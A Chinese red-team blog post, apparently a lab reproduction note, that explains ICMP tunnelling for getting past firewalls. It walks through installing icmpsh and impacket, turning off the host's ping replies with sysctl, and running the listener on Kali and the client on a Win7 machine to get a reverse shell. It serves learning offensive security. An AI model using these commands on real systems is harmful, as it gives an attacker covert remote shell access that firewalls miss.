利用ICMP(icmpsh)協(xié)議反彈Shell - 滲透紅隊筆記
滲透攻擊紅隊
一個專注于紅隊攻擊的公眾號

大家好,這里是?滲透攻擊紅隊?的第 十?篇文章,本公眾號會記錄一些我學(xué)習(xí)紅隊攻擊的復(fù)現(xiàn)筆記(由淺到深),每周一更。

ICMP隧道是一個比較特殊的協(xié)議。在一般的通信協(xié)議里,如果兩臺設(shè)備要進(jìn)行通信,肯定要開放端口,而在ICMP協(xié)議下就不需要。最常見的ICMP消息為Ping命令的回復(fù),攻擊者可以利用命令得到比回復(fù)更多的ICMP請求。在通常情況下,每個Ping命令都有相對應(yīng)的回復(fù)與請求。
在一些條件下,如果攻擊者使用各類隧道技術(shù)(HTTP,DNS,常規(guī)正反端口轉(zhuǎn)發(fā)等)操作都失敗了,常常會通過ping命令訪問遠(yuǎn)程計算機,嘗試進(jìn)行ICMP隧道,將TCP/UDP數(shù)據(jù)封裝到ICMP的ping數(shù)據(jù)包中,從而穿過防火墻(通常防火墻不會屏蔽ping數(shù)據(jù)包),實現(xiàn)不受限制的網(wǎng)絡(luò)訪問。
常見的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。
利用ICMP協(xié)議反彈Shell
icmpsh
icmpsh工具使用簡單,是一個跨平臺工具,運行不需要管理員權(quán)限。
icmpsh下載地址:
https://github.com/inquisb/icmpsh

使用icmpsh需要安裝python的impacket類庫,以便對于各種協(xié)議進(jìn)行訪問。
安裝Python-impacket庫:
apt-get install python-impacket安裝庫如果出現(xiàn)這種情況:

那么更新一下APT庫就好了:
sudo apt-get updatesudo apt-get upgrade
如果沒有pip的話那么安裝pip:
1.下載+解壓+安裝setuptools包:root@kali:~#:wget https://pypi.python.org/packages/source/s/setuptools/setuptools-18.5.tar.gzroot@kali:~#:tar zxvf setuptools-18.5.tar.gzroot@kali:~#:cd setuptools-18.5root@kali:~#:python setup.py buildroot@kali:~#:python setup.py install2.下載+解壓+安裝piproot@kali:~#:wget https://pypi.python.org/packages/source/p/pip/pip-7.1.2.tar.gzroot@kali:~#:tar zxvf pip-7.1.2.tar.gzroot@kali:~#:cd pip-7.1.2root@kali:~#:sudo python setup.py install
如果還是不行那么就使用這條命令安裝:
pip2 install impacket
因為icmpsh工具要代替系統(tǒng)本身的ping命令的應(yīng)答程序,所以需要輸入如下命令來關(guān)閉本地系統(tǒng)的ICMP答應(yīng)(如果要恢復(fù)系統(tǒng)答應(yīng),則設(shè)置為0),否則Shell的運行會不穩(wěn)定.
sysctl -w net.ipv4.icmp_echo_ignore_all=1實驗完成后開啟系統(tǒng)ping的話將最后的1改為0即可
在這里我說一下,運行run.sh會出錯,不知道為啥:

于是我使用了icmpsh的Python腳本運行:
python icmpsh_m.py 192.168.217.129【kali】 192.168.217.132【win7】
然后在Win7上執(zhí)行命令:
icmpsh.exe -t 192.168.217.129
這個時候就成功反彈shell到kali:

參考文章:
https://pentestlab.blog/2017/07/28/command-and-control-icmp/




